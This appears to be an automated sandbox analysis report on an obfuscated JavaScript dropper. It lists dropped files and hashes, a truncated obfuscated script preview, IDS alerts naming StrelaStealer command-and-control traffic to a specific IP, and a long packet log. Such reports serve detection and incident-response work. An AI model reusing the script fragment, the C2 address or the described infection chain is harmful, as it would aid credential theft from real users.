Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\73e485fc-f487-4989-8ab1-51f244d4e28a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c8814433-dec3-4135-944b-ab15848ae0cb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18275), with CRLF line terminators
Entropy (8bit):	4.91373249251461
TrID:
File name:	219751261441155514.js
File size:	21'589 bytes
MD5:	0beac73ea189788bbb095aba1f53062f
SHA1:	1e7055d018d3c8c95a7381b335ce0bbebfc35852
SHA256:	b207e9f03bc0811755349be58ed3cd1df9373cf16da749ad7f749c5c58ff41df
SHA512:	0929219191f3f9203a4bda0e789601a4342bfb2c0e84c83615aa3445ecf82a4fd7ced7765b534377393aada925afd91a7cfb8ee32ef27de92831fb0a06fd49c8
SSDEEP:	384:aD5gSsLmXNf7wmOXyQywimrXu68zkxKuk0P2PXkdU68QB6QZdEJccjkZ8zNwU699:a6SsLmXNfW0xKwk4y
TLSH:	CBA28348FD5AF23B7ADCC3FACDDB44E471BC6310476D8089092A147A9B5A27828FE574
File Content Preview:	function tstqmhzbp(){vocpozcjy=[1031,3079,5127,4103,2055,3072];var nmvue=this[wdnxxszee+nhcxbfkg+gazqp+odkfysv+btefb+oxpknbdro+dtoitw+vakapm](this[msvyslwbr+zdmca+jjccix+gazqp+ejcru+wdnxxszee+vakapm][qcxsrymiy+gazqp+btefb+nhcxbfkg+vakapm+btefb+vzngh+xyxlr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:16:47.210938+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:16:47.210938+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:16:49.577293+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:16:46.345961094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:46.350786924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:46.350882053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:46.353372097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:46.358143091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210803032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210833073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210850954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210863113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210875988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210937977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.210988045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.210999966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.211010933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.211021900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.211110115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.211110115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.211110115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.211173058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.211222887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.215780973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.215794086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.215873003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.222569942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.222601891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.222692966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.365658045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.365745068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.365757942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.365809917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.365822077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.365922928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.365922928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.366056919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366106033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.366142988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366415024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366427898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366440058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366461992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.366482019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.366727114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366776943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366789103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366811037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.366965055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.366977930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.367013931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.367587090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.367634058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.367645025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.367667913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.367686987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.367780924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.367793083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.367829084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.368485928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.384685993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.384723902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.384733915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.384747028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.384752989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.384803057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.436774015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.467134953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.467211962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.467221975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.467263937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.508177042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508199930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508212090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508224010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508270025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.508311987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508352041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.508383989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.508449078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508503914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508514881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508554935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.508717060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508781910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.508826971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508837938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.508876085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.509023905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509053946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509064913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509099007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.509185076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509196043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509223938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.509329081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509768009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509799957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.509888887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509900093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509912014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.509939909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.509968996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.510143995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510191917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510204077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510236979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.510368109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510379076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510431051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.510853052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510863066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510873079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.510899067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.510925055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.511168957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511193037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511205912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511226892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.511357069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511367083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511378050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511389017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.511394024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.511423111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.513860941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.513916016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.514225960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.514403105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.514457941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.515842915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.515853882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.515902996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.515974045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.515986919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.515997887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.516007900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.516019106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.516031027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.516033888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.516056061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.516081095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.567735910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.567750931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.567765951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.567857027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.567867994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.567923069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.568006992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.568017006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.568068027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.603777885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.603790045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.603861094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.634011030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634073973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634083986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634166956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634232044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.634232044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.634246111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634258032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634288073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.634566069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634577990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634589911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634614944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.634645939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634687901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.634891987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634949923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634963036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.634990931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.635055065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635094881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.635175943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635186911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635221958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.635617018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635627031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635663033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.635843039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635854006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635864973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635885954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.635968924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.635981083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636013985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.636379004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636414051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.636430025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636441946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636468887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.636580944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636593103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636603117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636615038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.636624098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.636650085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.637382984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637393951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637403965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637425900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.637469053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637480974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637491941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637504101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.637506008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.637527943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.638354063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638365984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638376951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638396025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.638412952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.638437986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638448954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638459921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638472080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.638485909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.638509035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.639194012 CET	80	49704	193.143.1.205	192.168.2.5
